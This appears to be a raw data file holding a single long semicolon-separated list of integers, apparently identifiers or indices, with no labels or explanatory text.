103118;22849;31488;62079;66691;26153;49714;30134;57716;42938;33941;96702;80628;26694;85552;10481;24519;77404;64974;51006;53287;88755;91702;45036;76822;55424;102091;85113;40938;82791;106889;94997;81854;18741;94507;55704;77160;85233;38913;93216;39131;67747;66364;58825;48558;37329;77249;39199;88983;70964;38441;52099;89664;20599;55092;34719;68785;68128;85235;65722;102870;46003;33292;60171;103664;43034;86342;50948;68734;25799;106630;34276;72496;30156;22628;90248;38406;45419;103620;18119;87931;79046;101625;53858;77567;78470;22864;91298;83992;101342;65845;94407;18654;82584;71052;71047;15881;88481;53756;41267;41532;47590;36864;100672;84023;26986;96962;48890;57663;38885;57756;24877;48871;12123;17348;84761;30307;101102;95744;99694;41898;74614;17740;34805;62500;91625;34178;33164;59711;46772;88576;64793;17687;69047;99581;35028;24464;23078;60469;95389;55942;59395;94823;81304;24840;15488;45852;29136;58718;44036;81052;38534;55738;67082;30708;30284;85370;52189;46977;65352;56615;51601;14250;57214;25935;27144;44683;49281;14356;101648;105620;47664;19606;21510;33027;14645;93598;32773;85907;24434;72263;92038;42175;39312;77809;38164;19487;42069;23885;63189;63624;70760;91857;82725;45735;24908;15758;53878;94571;79286;61126;17636;68337;19722;33982;64905;60701;67078;14583;48397;81582;46277;103130;105941;101935;70252;34517;24178;36626;36404;57229;57161;67971;32390;62203;69696;20064;103560;97028;71702;99110;16396;64908;100346;35640;53665;58486;80106;85988;17156;66269;88437;92328;104915;51062;61885;83929;21824;70754;90559;24439;67983;100082;92348;29503;99397;74007;89887;92256;85291;70230;82211;65718;97512;94462;16801;64649;51058;18035;72356;27057;58530;39668;73118;36198;21769;27625;89502;85672;63223;31118;28568;34945;83622;23748;101567;17201;94238;99317;72751;100457;34834;33340;41172;103209;200044;10759;21585;54642;74462;31284;103941;50488;17065;85360;64279;78385;91292;96497;45685;45164;33603;36710;89804;44729;93903;96469;67283;59249;64700;88505;51521;95339;66382;24657;17754;93337;69146;95937;88523;65249;11070;93932;91473;103083;31057;24993;46892;91081;70273;103787;83024;70050;15166;41927;45042;43389;26492;44938;99993;20177;66676;33271;87621;46702;63220;25478;94933;35719;66684;63749;70792;37493;77006;83641;96375;80224;103633;104876;96141;37776;65824;91817;100398;87653;94491;106915;42383;24691;83355;90420;104985;95643;26462;105823;19229;106578;60939;80923;65921;34170;18796;56243;41221;79015;33682;56919;60877;82447;85770;70112;79883;54299;32831;75261;52529;32176;81299;90493;17365;27878;81599;78790;32226;70946;45133;33459;28114;57101;76566;48863;90589;13770;38208;13333;106063;39164;33220;25090;32202;46633;29543;47713;87304;68822;102562;66378;33849;70546;47456;106454;28200;22925;102041;42582;35170;70131;58935;81885;33890;42971;68474;24467;88697;26696;39865;29838;52400;17394;82587;99797;97521;80048;14068;102501;95028;61654;52857;43581;30625;55013;76279;53806;23769;104667;92046;43124;87243;85621;26527;45228;58955;22625;73487;99058;67882;37580;97488;93919;51553;42645;28667;30420;10851;75296;71900;88855;93074;27250;43052;91378;70149;89732;80113;49998;77947;75463;40023;67850;74665;48385;19385;84926;73698;14874;79845;38651;42136;106735;64956;34131;33216;83708;75486;25870;45819;30380;86664;31839;89146;103637;58666;21183;35020;79435;74922;16835;15565;32800;75804;23027;76883;51665;48854;40937;60936;87622;47836;86673;96668;65886;45197;32912;58067;68062;99943;20393;33896;69018;58578;85619;91174;56694;56445;97747;65831;28338;21983;77911;29733;14580;62526;58518;66425;36232;23126;99456;96942;95746;33690;20876;16293;37013;51834;57382;48442;56044;69883;59173;48862;33599;11487;68536;69641;93439;38371;87731;57405;14233;42460;87313;23976;73494;92212;20914;13088;63144;94521;35537;26190;56875;39483;60836;19604;78209;35534;103023;66459;76273;80374;57823;105078;73168;12239;44186;23677;62945;33134;68794;38986;16603;15135;30231;39910;42624;29032;97350;55289;21225;25911;97541;63047;38725;88094;18343;63645;91489;17682;103058;37220;93794;102441;54004;11847;23301;90524;93079;35485;74427;68944;104513;99334;94411;49082;88531;65607;63801;44399;57250;82760;68674;62120;75431;95559;14005;104156;62531;75642;106371;87720;82655;81428;59322;17503;66065;18953;48694;37363;65226;12630;90334;24067;36010;40044;23440;60596;19329;90945;102589;42924;40143;73969;57643;97862;34964;57020;72756;106503;101283;34019;33687;104744;49008;19255;35045;81228;40691;15122;76121;44360;28201;22176;12287;79726;28138;96752;13835;38906;53763;80148;69657;15941;81048;70459;45695;103198;46339;61206;59584;44180;20334;82947;30790;23805;101459;97142;25419;103111;55971;88588;38066;93492;78309;42821;55408;106240;96858;39869;27240;81124;13276;15067;23039;16295;73019;44518;99941;99450;20807;72898;20608;22801;11011;13772;80683;78676;42555;73325;62087;27228;41248;13082;57427;67837;74991;31480;88905;35806;36678;61952;70997;83932;63739;79309;53887;46183;102275;94827;27668;87034;72257;56806;65659;95473;45591;51911;28244;102514;26060;31634;31560;26540;68675;38032;51737;95843;39740;65354;76916;61169;49123;19966;95333;29217;92593;68985;49535;74545;57327;23576;102935;56026;18036;100660;49189;37187;17172;73477;80486;77235;91551;23518;61300;82805;65269;38888;67912;95959;23904;16447;54339;30685;40630;32091;91082;12702;69039;96161;72845;85537;20433;103851;64137;78127;39026;85571;94646;55044;41779;14476;59065;86201;92198;91314;28800;49971;89640;60781;44695;11879;32717;28915;34783;65109;28128;47785;75094;93356;70109;100553;83289;38650;53502;78988;12643;94028;13739;30061;41368;97115;76945;91238;56590;42052;100670;17118;80242;83975;95384;72469;16098;14993;53166;15433;96541;61647;68514;74123;69865;90490;34384;16170;33467;39235;96444;60567;101134;10702;105599;55551;38215;36916;70914;50954;45607;80808;78925;85835;99613;76059;27411;33443;85121;54921;80384;97674;92295;16390;49190;81081;97189;17318;69373;19681;33238;19459;89966;46966;27616;28742;64897;91032;40942;23080;40622;101966;47724;74038;80196;100261;34369;71802;18373;90150;24829;45812;24227;50564;16467;52118;82471;89993;10897;22034;35787;105606;65514;54743;52120;18680;48703;75628;50461;92141;53923;44292;52157;48927;97826;75468;91441;20935;102463;39750;24120;100463;96846;96189;44179;92818;103348;50714;61511;30045;14873;28803;99363;95808;27263;20494;84337;20146;19545;96777;81224;79054;87343;72611;63279;60159;53546;103342;66628;101530;18124;76888;34605;24697;82977;30820;13915;91278;83012;62733;35729;93312;93826;51803;13441;42654;47193;90880;34728;100987;67281;65433;102593;56831;29091;30766;86973;22702;105538;67978;13896;22904;58772;17428;58479;58296;77779;26324;28068;96773;27573;90928;45604;52028;42687;100830;45315;34261;35158;49833;34954;82463;45691;69882;36365;31949;80658;72397;43323;87344;84584;56216;30729;75896;63871;11881;74881;86917;90178;45182;56976;105674;48780;29606;60209;47851;75844;59407;84687;51602;62077;36546;23278;84955;50989;92640;102737;104716;26281;27304;61255;80433;95561;94953;96787;36421;57398;59386;87076;73728;19743;71321;62670;25931;13141;87658;99932;22522;58777;65440;53731;94905;59915;75382;21245;56318;52551;59751;68680;101897;62979;63064;78505;83220;23173;22955;81740;12369;27815;96319;91464;105366;88382;71413;12458;91503;96796;14867;32777;100882;40872;94669;95799;45070;104303;38524;74560;36205;82853;31753;77588;92704;12500;52258;41464;19115;56818;35723;13765;94956;104363;75873;45803;19253;88822;46709;22066;70619;11228;50639;16725;93087;23642;58720;101985;34818;104782;14788;70179;66950;59321;90097;104843;77642;35146;29630;60337;74667;55677;42572;93092;70232;20860;29732;76453;105369;106382;87758;83614;106492;82821;42213;70882;24597;92638;105683;40334;22141;94663;53579;20098;76815;96396;29899;27127;93781;25740;101402;103537;18215;70071;31814;88592;97741;18197;34495;81129;102242;58385;69918;20524;99585;102532;25094;11421;33960;75766;65162;56413;59989;22127;93417;41511;62031;91717;73108;24764;33305;76562;71642;19032;12576;27258;63393;77257;23807;23210;18129;12422;56568;96472;90695;101405;13579;67467;82826;69632;44268;36851;64061;92188;57141;83370;97710;44107;60647;79466;58154;78650;18489;64683;95742;91108;65420;70702;38705;30189;45698;107098;67999;20587;54554;96698;48949;87399;92432;93443;53557;68664;57326;10734;78023;47905;51179;32828;20767;37586;10157;53322;80554;31490;24459;56821;96057;51431;64688;88746;31020;81355;71199;45060;67486;74783;89085;53207;19660;52231;69616;45001;76855;57144;54575;40674;42416;93732;83155;37459;46352;96522;36100;101412;56360;69692;54764;99901;104142;80586;43836;84908;11051;74543;15284;90614;18820;18199;55733;50484;44234;86606;57516;86290;80611;52466;72011;69014;14106;13982;78487;32794;102851;53520;58204;87651;10427;60818;63325;42027;67201;45150;31211;25736;102396;52553;62716;15959;84961;66769;86420;50683;44207;103095;38226;36191;41169;23861;54032;13575;28194;28357;55880;53635;60020;32675;60565;18374;54322;27014;68331;60603;91890;36744;84201;13307;68649;62731;80972;66560;90179;37054;85666;27528;105639;75162;18289;28173;103153;83324;86442;63850;91905;78892;71084;30341;101418;69069;58798;79874;49771;21475;103694;13056;84421;93196;58884;102422;200040;48553;38373;70804;83890;59332;48985;29019;84403;57230;96715;38195;44459;46218;35247;84134;26115;104486;40092;65905;70075;34182;31291;37667;79765;41394;59859;102407;23167;93972;29628;59854;105864;78304;91918;84422;76743;73794;47675;23845;67943;89362;41644;99367;23414;61551;59718;103026;69849;102600;66202;37152;62897;49499;99805;81803;48660;94731;66685;56231;105194;16202;102156;49974;61798;56918;24081;31360;74824;46028;34920;46092;31194;22407;10246;80137;63288;105277;15823;44842;62962;25138;93630;58836;61556;29824;77845;68254;92397;31036;77553;40363;12094;60420;24792;40338;54756;30292;31833;106742;49443;48600;55282;41472;63895;16041;70007;36277;13954;43465;42535;38336;68243;47839;18575;103601;65483;106580;56871;83003;99544;42746;24947;92097;47112;101218;27743;35306;92072;83314;106328;96369;96411;48740;104281;91943;85927;74574;63167;95862;94818;71149;21334;10250;103121;105871;66573;44597;17825;14481;20691;75645;38950;102685;80191;25133;14881;105583;77270;33650;28783;53994;12953;19893;79697;18764;71304;43079;33228;74079;62719;86373;78570;45505;76086;27727;64537;82908;86794;60655;47032;20774;52682;47617;23031;86526;100322;64504;105865;84222;76076;30646;104641;86893;73346;53017;80372;74561;29903;21975;14310;87596;27239;85489;55232;50363;65611;46798;24904;91065;40558;11362;73355;25226;95344;42507;16736;78015;70772;94339;34685;43663;76048;100595;10087;82838;38454;44181;52756;102187;75385;29744;66324;77773;80059;66255;100368;94528;74014;16891;37276;79285;87737;67753;104314;47068;18276;29755;78884;31198;72926;86449;60736;80930;76878;77333;47578;37119;33744;24777;42586;20459;100444;45631;42985;57995;42161;91151;95634;47738;68838;68633;15359;34553;87401;20994;25549;34457;33090;39969;23486;22227;61881;101158;65294;13112;23023;200080;89469;101630;64523;21391;13758;18828;85006;48867;39666;20525;106497;74843;55278;40013;49888;22187;50003;80320;71664;68457;26301;50234;39046;107090;74312;68094;56726;26523;102231;21393;77382;63717;20505;62640;26284;89569;90252;76079;87123;30155;28754;51189;11749;82070;104083;26303;42083;28806;16375;29794;23974;90344;66034;17516;29619;54910;52948;31774;52006;42152;50224;42937;97016;67823;70174;51916;30707;28817;55155;33003;106556;97208;86340;87688;87129;45539;57154;85543;57677;77563;85965;93976;15474;97745;17709;26342;96187;97836;62241;81576;22426;19007;65956;106984;69580;67003;49051;103124;67904;82242;30744;91191;13238;19964;96084;13596;71720;99984;94461;23727;58207;13722;81076;88737;61811;106100;19602;16186;65475;56835;38414;59506;27595;33503;62893;48153;32250;99251;91648;97407;68700;82974;55016;22822;31413;20299;54326;40071;16174;29037;62365;16772;14552;57051;18925;55200;14737;86905;24006;104669;81932;16930;103602;81613;13642;90099;43682;64687;73973;56696;107091;44648;74610;94781;89311;42364;38251;79712;46802;15472;90731;32564;86608;29945;42223;62639;46818;22044;26549;45093;52151;22985;33768;75627;100169;48323;46855;200123;29233;43755;36565;10712;72134;79272;92549;82973;93345;101228;101772;56805;85934;78659;83666;102651;75241;77462;55513;92543;60868;81977;27826;53988;32518;20765;12253;19319;79867;20491;57347;42910;28582;103329;67833;90910;86045;75360;29814;21774;33116;73131;73196;89935;49376;72760;43681;105422;49290;35445;11433;100340;57078;56201;27189;19240;45460;74674;39566;90647;36109;19228;43779;80860;64519;26354;46112;80844;17004;62838;68390;34239;41186;10950;107104;76088;38507;18616;72836;16496;73112;62362;72460;43703;20532;94489;64083;97520;97708;33105;62232;95987;43751;44078;85062;11556;37923;97444;55455;81623;54125;46440;28456;44109;97950;31104;87644;68358;95405;83889;60343;200084;92371;85521;44861;63168;21736;29860;75395;31066;31011;58892;18070;105191;37855;72343;81203;21635;17005;76484;87289;73180;75879;38711;20011;91849;21051;71002;81699;99690;75039;90232;71221;37748;45487;48737;90306;99012;37905;73868;25074;62493;78443;78862;26204;31019;101834;74569;85518;84594;99062;36017;81440;64336;23123;54066;65412;48755;92184;56076;76105;55039;23905;95653;40625;57315;29609;75689;16565;81414;105398;75722;11712;25081;12587;92722;62301;16128;84904;42545;35168;58131;79257;52110;29562;23647;88558;15913;47394;15895;69495;69230;93489;14219;13373;27825;88432;63207;84886;41718;25296;103526;13708;73247;27975;12905;100454;87772;48915;11234;12960;104623;57288;101566;104576;13469;43954;27001;90446;25748;42036;67550;21514;79784;17375;43155;100968;93542;62702;34856;68748;56166;10715;48213;43632;37005;26168;96774;93267;20590;90293;35131;36992;16270;37474;38000;63693;95418;55558;11637;15681;11668;91691;38552;58846;65614;97605;70715;56145;45654;31922;32531;28669;18458;100590;20243;14753;95343;62516;87836;91797;70028;65868;32466;30402;71205;90206;74499;37181;18724;42867;91697;24237;61237;12416;101535;33138;88685;67408;11071;67496;106354;23437;88868;42581;70543;67221;56512;94594;50831;19277;73462;43746;86682;68258;70384;13903;70655;57813;44752;97516;46762;43795;26760;77470;85398;75040;92852;71563;101291;95397;23450;26219;46850;24387;70267;40043;94062;41528;78262;83653;44118;29886;59679;64418;93849;22680;54963;97022;75572;13038;106430;74920;93713;82984;19344;54374;85279;46108;57805;85641;88066;86153;76075;93391;26299;40912;65484;20495;53888;43100;66053;55961;79477;100380;58328;99148;46917;44134;86542;78155;99788;90139;18856;83826;40398;35545;37789;78724;94845;103301;69002;88065;59401;74927;69643;105166;97039;90468;71544;64085;44062;96176;69609;24956;89092;29723;106230;39193;51731;104370;66144;101587;39349;92603;65743;84719;70665;12981;20265;67551;82034;47019;64658;93128;45256;28924;19414;38971;89807;91527;12318;51620;64118;88171;100732;93021;33117;21846;18818;94769;38946;80621;57474;64957;22756;94684;38484;12497;104668;86176;43276;61241;17209;50844;15628;31327;58693;87952;14245;104075;11722;58500;19099;42618;37978;70202;34989;47043;15586;101980;85055;55319;73601;49605;55619;40442;60621;37199;55161;92351;86265;86824;105071;55749;25776;29585;18534;23419;11300;17594;21564;42076;26408;59936;25709;41657;83033;38191;13951;70648;81657;65546;96658;22340;44955;85957;10817;87549;14929;82174;16950;48300;51032;43190;80093;33337;17587;74469;77207;71386;48796;61272;61032;90696;62717;61839;19815;48790;87891;105153;16735;64800;82426;46736;43222;31724;55771;94176;56632;51140;18656;31235;101132;50296;99096;89936;50953;49071;65851;63527;63362;75239;19591;100929;28240;107036;15011;50252;80640;77688;89576;76481;64718;105958;60855;96216;23165;55634;37104;62243;85137;104348;10867;66863;85837;24625;74004;53361;62100;88698;66379;24243;17370;81301;21990;74171;80463;35691;34568;33254;68705;62334;42302;56086;89199;105733;75987;43369;25114;66401;46827;58750;97870;20192;27479;105922;16741;100603;62326;29536;62751;52952;44364;52844;100963;27648;10342;77897;73781;74042;73183;19647;64024;14357;70533;68382;32043;83119;60758;69006;38897;16205;93861;13504;41312;20676;73483;103847;67360;70119;72165;37645;77391;82590;35504;73023;104401;68643;44349;70403;46862;75598;14329;54389;51703;33204;33371;29457;40397;15503;83839;38919;54375;94326;79682;75248;70226;53174;99338;68238;66244;102995;83530;43684;31919;99691;16783;70776;80922;104926;39803;35685;42514;85485;64663;34987;43385;38671;53124;74268;83040;27744;68993;94132;31097;14969;45805;101710;78752;88866;39736;30556;93509;75532;24547;21351;18543;42441;95590;25839;34659;36243;64756;104752;38011;31695;82467;71313;91906;78240;39681;36933;83477;26528;52146;65188;50747;76658;63989;66311;71913;48747;34340;90762;79796;49130;66175;30417;56542;50367;15960;68476;66305;40845;13275;99539;60426;17665;90369;40004;28149;66826;60249;85885;18256;52878;92020;57705;104818;77724;60207;75905;11643;29717;67091;35973;67637;69083;49484;18449;91676;67755;106545;88494;76818;41012;64536;31525;85870;78917;91443;66160;73890;28510;38691;75377;17386;15053;25301;31777;69844;34177;45171;95525;105501;37863;28621;44343;94412;20624;64731;13084;92955;92325;69590;10249;79260;30866;13500;74170;101456;61107;51097;68941;32557;97888;26211;23966;10580;62575;31706;24482;34840;35583;88138;52886;71918;38238;80431;90649;50672;66561;20603;75420;73300;89835;40269;67131;88845;102664;55594;31437;28810;74696;52539;85651;43268;30851;41772;43966;76856;20401;17600;44028;38253;55921;37448;36062;43378;100442;92712;49199;87288;87933;45768;38487;17820;52304;53594;69405;12489;45257;44258;33664;35999;72871;56251;65054;70060;27061;82717;67319;54139;58481;78241;29088;25278;62020;103564;24545;16522;73618;20531;58943;10482;16867;62063;17840;90138;26326;49291;38218;30288;26410;93010;87409;90573;64770;38293;24857;60354;16491;53563;78741;23509;92160;95022;53539;63197;42310;102323;66770;40898;27748;105946;62828;55868;55837;68452;73876;96812;82308;80145;83866;84567;74877;29900;83013;47670;26975;45151;58682;60498;65605;68768;11353;26636;104807;21170;85503;34331;55586;67726;105268;80069;50406;30679;51901;51060;35184;36479;58732;91449;78581;58504;51022;30448;41418;83460;74292;82560;95655;48812;39917;72788;42028;18171;62993;34235;106762;51928;47507;70572;71223;73603;76282;68569;104468;83605;73418;14742;89426;44633;18908;69152;54216;27761;13420;12035;85660;48333;11710;106871;30880;105795;51092;37921;101435;103639;22092;43643;52389;95751;18062;63178;82862;62343;86857;106648;103883;100418;50059;99041;31733;45788;29223;26422;60989;14677;24494;51635;32370;95868;77002;45179;103462;32461;50119;28411;20492;81483;67738;69994;81933;26233;36829;71897;33401;34561;28482;46475;44539;35888;57342;80114;49930;30146;23582;16176;42959;58387;60056;58510;29251;74444;43603;14974;78874;30723;100568;72337;19544;87610;37085;60076;36054;59956;25868;34579;97522;55353;28421;103763;101609;24541;49815;60695;66464;50658;67516;85081;73159;48152;23673;94337;68199;102078;102386;50254;94357;80010;93494;62849;70329;87013;46341;99255;42760;81371;81334;26319;105363;72128;105593;52130;41705;79004;78524;55663;43113;30387;24392;24708;14179;74801;44675;80518;37620;102468;69162;66004;106692;48464;32948;30955;99659;82691;107076;22536;93846;66981;38046;31732;52689;79133;97498;14914;37243;68015;40740;68072;81858;104643;53355;17646;20429;66307;27768;52795;11669;51656;79886;22419;83558;72484;30894;18772;102410;88542;62034;27488;52819;88049;103236;81586;84175;35398;30572;52516;29563;53650;79262;90580;55799;13239;93142;91025;16002;22213;68891;69287;57595;71536;19812;82255;67881;84532;66149;15140;10315;38268;101053;50709;72702;104245;14797;28699;87370;52057;100637;85374;35002;200052;50029;64177;53757;105927;30067;70581;71971;102045;81279;93938;101655;80985;15449;90685;29961;13253;51888;52438;43256;20709;57934;62672;104925;61796;42224;65697;40756;106697;37036;23980;32631;25089;48666;41334;79347;52156;50713;28725;61333;61955;57940;52912;72636;50942;75754;14708;36789;68029;24315;26877;83351;79574;100125;91926;62817;92247;21588;78106;49667;24678;52045;105676;12642;26599;102653;42606;21157;84957;62818;12796;63159;62222;96953;40112;10356;41909;95341;35310;96489;70786;20847;46150;22206;50533;96162;29671;90395;53683;57492;21525;28232;75287;74912;92110;55174;26846;106356;45860;28732;86631;52314;68736;46240;45483;42429;90162;18106;47512;50992;38328;85159;14836;14629;46757;46554;42675;84202;79300;84238;39226;90759;20861;68671;20023;39842;103574;68932;78729;60999;75236;28075;14025;26727;22106;99655;46869;64695;38405;74430;15948;20931;87830;46391;36907;22351;73422;47850;86866;59179;63315;105219;45644;79460;62146;63456;12066;55968;106725;42207;75509;12121;84277;16047;32640;59304;31943;32549;95560;88585;69704;46787;41785;18271;21379;58950;34005;99307;69607;58723;89717;14017;63747;81645;62780;102135;40317;99225;97021;60443;42431;37467;97202;75063;33235;37908;97981;80913;28211;102985;46551;102587;12748;88036;89980;105898;71436;46118;43471;46742;17464;93902;102830;18451;104045;73377;72589;87411;59970;86384;54775;47058;10365;97200;14562;91517;74160;88573;85272;51624;11458;40608;79637;64852;92056;87930;80222;97722;55121;96258;87405;36564;25410;93269;32601;18695;33573;44614;84743;39988;14712;14478;103460;67494;35391;16307;42934;46811;40267;58760;60347;57820;68929;63604;73072;89420;65167;48423;29252;13044;35194;25884;26006;90177;22613;44808;91309;36012;105978;99689;19860;97327;64374;53242;76523;35072;39673;59490;101600;94426;95580;83218;54421;99119;11683;83247;104746;50117;84157;86718;85668;45024;32063;64676;76661;10924;77702;80211;94257;30639;24463;53637;34284;16391;22168;40505;54452;44394;65892;74037;107053;61541;32644;62367;40091;97611;43570;77054;64740;65633;84593;51138;24876;69234;31508;68140;99254;34312;15148;69858;13783;23773;29977;54742;22297;13976;67020;87258;51770;54901;77219;63212;92586;76158;60336;69062;19418;55316;77507;29153;71233;57534;106047;75433;99005;82146;32960;87032;10129;89147;44473;35262;100423;30414;45622;46319;12332;91842;73094;49248;10061;70537;24002;27292;28057;87516;90257;69881;18808;75651;43198;45416;105355;52015;81222;33968;100061;11942;96299;29997;15089;102499;12859;15349;100549;96930;42771;11719;95912;101994;84641;83414;51159;67935;65503;37422;97666;69656;71209;56421;54357;44004;13523;40561;73798;55813;29829;54746;45737;46036;45143;31861;87033;86533;68477;76497;90051;25963;56746;75946;87641;10525;83099;48534;41913;106091;87489;79047;81605;57323;62095;33639;27372;85744;101664;56218;76189;24339;96578;32554;85647;52960;21108;56077;87170;29297;12520;17151;39586;46200;70621;83833;69398;29586;53387;88753;103555;105418;36691;65253;59033;34223;39371;102304;10641;83930;84880;35803;58360;89517;53456;38264;31783;36754;17625;52633;56757;35188;96678;62248;54078;85234;81747;21723;68634;78269;30928;19069;63848;77886;76223;49010;46531;63934;15320;53150;18768;33122;13834;14778;106870;26748;24110;25972;75682;78998;79493;78727;97151;75595;46273;17971;27738;13478;80625;57400;43991;28528;78645;15860;21699;61306;63039;46404;64432;105906;102454;59007;62914;88839;40272;62996;90830;87131;89667;52701;42922;68787;91135;77265;54934;78931;93658;36065;79679;81130;85650;59811;23130;29203;93479;65274;15922;83058;18879;19291;38928;54537;39029;89442;48511;32833;74547;43161;34908;82018;57570;62706;70323;92008;100269;47673;64915;72349;71409;44803;36443;67456;22050;102817;13610;16571;51027;91228;26836;33146;30086;37961;75875;38947;39009;72797;81122;104170;22936;86484;23918;83927;86482;39090;95522;29021;28802;54802;99332;103908;79701;28399;100272;82579;47265;20190;76432;48640;46879;17046;65238;24503;106989;26029;55234;63080;21196;45671;23429;61968;52501;43753;36344;13163;52872;51692;12582;53804;105705;62329;56108;41906;30730;43096;25668;14365;12734;104562;79226;79919;27412;26066;55696;73294;73571;73987;17834;48492;77900;106696;76820;50489;50982;49200;102760;74620;20396;57669;105322;45522;68322;41924;60946;83893;77629;61245;80455;49439;51433;91215;88169;101828;49417;11000;79525;95417;69911;100004;57561;200020;93361;18096;76749;21550;43764;101355;50326;89669;84936;14766;32897;86177;97030;54916;93054;13581;47784;34336;41631;43602;34309;95477;58440;26270;78975;40515;47627;32791;27231;100979;88132;68087;58220;93934;87699;33705;85677;100869;18446;79709;55774;66024;61025;85526;55984;99373;24666;92342;81861;55554;74039;87133;81166;56531;49098;55524;33513;76140;82198;22731;106619;72853;65390;70325;103608;15171;96165;13222;18362;66882;103276;72132;64671;82860;65164;80560;76860;49700;73310;100864;70703;103366;56015;71589;70322;87126;25863;70659;37163;87199;53843;78099;25321;25135;79948;103361;60399;83999;35128;33059;25326;50076;66887;10819;80631;80485;14540;58050;56354;44779;94788;96262;18072;76799;46088;51963;65415;33649;103479;14764;12757;16861;57720;44908;71569;79832;48222;52181;86813;66329;76959;11085;61841;89645;68903;62960;11066;83224;16141;32187;34988;41381;24317;92489;81158;56215;45331;29015;26437;104316;69741;76871;32229;12957;48751;93837;41126;26830;73833;34928;24319;45984;29385;68357;67780;24474;81824;99141;28630;60686;58447;106161;18212;96596;64130;77585;21972;68678;16500;89289;14320;107105;60032;20686;49285;78179;85998;28678;50882;51908;64811;18059;85805;48502;80378;88648;10790;92552;35065;10818;31911;70960;68447;62193;80417;106901;50355;31248;17330;58569;40224;74935;91200;62123;33846;70275;77362;84269;81578;43747;97670;67657;70132;45578;59575;30191;42926;78954;41461;72802;102567;33547;36061;92039;39116;24068;26998;94793;63771;17280;18972;47352;36461;40521;91368;41272;25293;66735;49314;16682;11709;61065;42477;94733;94432;42909;58215;90394;53525;65216;42747;81812;57632;64426;70996;14746;92196;55446;39150;82359;37024;30501;61658;35342;11434;38618;54885;52525;53357;54567;52167;55494;32405;31554;101499;15018;73458;84927;52203;103777;83241;67222;17642;60131;76865;21033;14978;74297;67998;29712;102804;77998;79885;47902;100868;34972;81685;92900;59350;65119;63448;63599;57791;14458;42593;11265;58461;106809;105052;82697;55441;43372;13673;23907;93478;57485;60180;95719;22764;54147;23237;45082;93607;105822;33773;36253;68552;21763;30651;39974;12894;60413;105002;45238;62865;16107;73250;91568;36313;35397;66913;93455;56173;48217;99157;87911;83213;29645;45498;53638;105739;105851;81855;83307;26826;16392;21327;40606;78772;16217;46669;25828;23626;18984;79766;56363;49418;33970;55372;51726;81425;103049;54543;88455;62475;91540;60530;47694;86367;68876;59921;19858;40974;10894;21460;77866;60892;73068;89441;50113;93619;64682;68343;51794;82714;34885;57375;103239;36489;53970;72067;26022;80256;49574;60097;63652;50168;68809;18983;85336;52943;49532;81373;96671;89080;61748;69970;35030;38006;55024;49828;50961;13244;54578;16992;47492;44864;95803;86483;99036;69758;90581;19401;72036;29594;29551;13599;77057;62080;43350;79030;91681;64238;104116;11236;89708;84098;50395;27284;63995;99112;94485;91283;103782;65156;74500;92073;31416;38789;89133;95968;16131;34419;45883;59397;55987;29574;12513;83226;40026;32365;84848;14393;102012;24654;62181;49269;87999;22776;71871;31937;20902;61411;85383;16539;17100;34011;104277;12201;65220;80904;74978;51202;85681;63927;12625;94916;74606;51722;16238;97462;42786;48606;52504;37105;94580;22016;69601;62263;52927;92010;48719;10138;22171;106847;66358;73924;61294;88115;99479;64203;58066;28496;65087;10640;56515;41620;52789;76993;75841;29663;48288;51129;18528;97222;66562;44312;80729;53342;101948;53805;56700;65840;70238;20510;95850;33585;102566;24938;54952;106408;38205;23291;21003;64288;84411;16356;17196;78036;12431;86932;27558;55175;40335;66157;41855;28386;12359;43363;67477;97689;72486;31975;45242;36302;73757;66223;59842;66333;68977;84342;11204;50898;53950;83067;93275;102428;70555;57014;42445;49102;11673;80214;103651;75457;12971;83229;11185;44043;102466;64853;11922;25297;86528;84704;34376;36881;40577;67186;85437;77317;68960;25908;105982;89192;46136;38144;82442;87345;18533;28292;77804;57299;27375;17650;34826;12041;68548;94911;106908;86262;89131;70817;101395;56554;84871;46350;54737;59525;39231;17011;71195;25750;81461;15353;48739;51710;80427;70625;66123;88952;103507;95440;82057;48946;81165;77061;101432;57099;63643;31218;29056;40216;50334;100833;58410;15567;85955;27075;27836;53241;28530;11540;18274;40757;42873;41946;78111;70122;79012;101628;54420;86961;54607;89973;15188;30198;86461;61001;107051;72520;59766;58743;105288;36587;63274;64727;83399;85227;49033;102131;20212;19762;97908;94480;14890;39819;23013;62732;50205;100696;20272;27829;30719;40236;99956;27047;31720;14919;13135;74972;35658;74736;14514;53748;33425;12357;56091;107022;58053;91072;50849;72623;93309;22267;50031;47848;74370;56192;14830;85992;101791;20033;43117;75220;83243;29306;93858;92828;58778;61455;18895;18200;32025;83676;71031;91763;49542;26256;48613;11648;70255;82614;106741;14483;20089;47065;30257;94438;76442;101348;102712;60952;21521;34147;83685;13161;20831;55917;58184;86386;70318;67036;32291;84865;38989;94341;52385;23288;91658;47052;57121;104503;31738;73024;91637;94920;63977;25318;81799;33953;14548;23469;101844;53160;55598;105776;21944;81326;31882;58922;86657;82479;30472;105791;60742;36809;103015;72116;25424;49430;58027;33529;84293;57224;71193;59784;60340;100715;17830;84050;71431;64240;69940;72464;102739;53824;102638;50446;30630;27076;61212;36513;105926;40488;30173;27566;53090;107046;84066;10555;32378;22905;46946;55864;90914;92036;36945;48901;17361;97504;46082;33485;107032;99097;53846;106109;70967;15337;85517;48880;32040;83061;40734;14373;45834;73123;31385;92985;85180;72258;94626;24866;43511;43170;81535;35734;81472;38768;100863;104381;38581;90057;56548;19798;13206;46302;56377;81149;30187;13858;78207;28902;82405;37076;100109;83773;84320;90346;13566;45517;103626;83745;72075;42936;24267;106852;59926;46405;12026;43830;36927;72212;52348;72370;66653;10549;34770;19967;86675;101413;91739;26407;21057;60811;95820;37494;23780;13328;68155;45041;90558;22091;64250;33498;45928;11279;78769;43556;13814;57552;31167;20002;17772;68994;77281;69033;94838;80812;73583;14888;54159;99140;100414;21407;86008;32482;66166;81951;86345;84109;81006;52922;38817;102684;77919;31986;12766;76438;95408;105256;63449;99915;24363;20236;27551;77502;39657;93412;16507;22797;80465;82751;42785;91385;85442;103971;73984;63073;82067;35038;37313;45120;100186;59294;10957;60261;31007;65367;43750;60771;97748;71860;21935;58816;58662;21515;38294;18551;29348;15343;99674;105272;13898;22089;42907;94970;76947;87279;23439;81349;50181;43260;104674;86883;44617;61087;58441;105314;89436;73363;36545;62393;37208;99327;39779;36318;30332;75007;59632;96460;33002;32820;88054;66181;103711;34231;80795;90565;94465;27084;91188;42200;86854;34206;40841;18592;96776;96143;72335;96015;28827;85183;16573;89901;56904;89160;65919;101350;82514;94447;91015;89151;41692;60160;32685;80190;56506;87278;20258;43136;16882;16881;17490;101089;66446;63660;49934;29737;76798;59377;65389;33746;93458;53253;60375;20376;72819;92920;31815;89871;78446;96029;13381;73863;52323;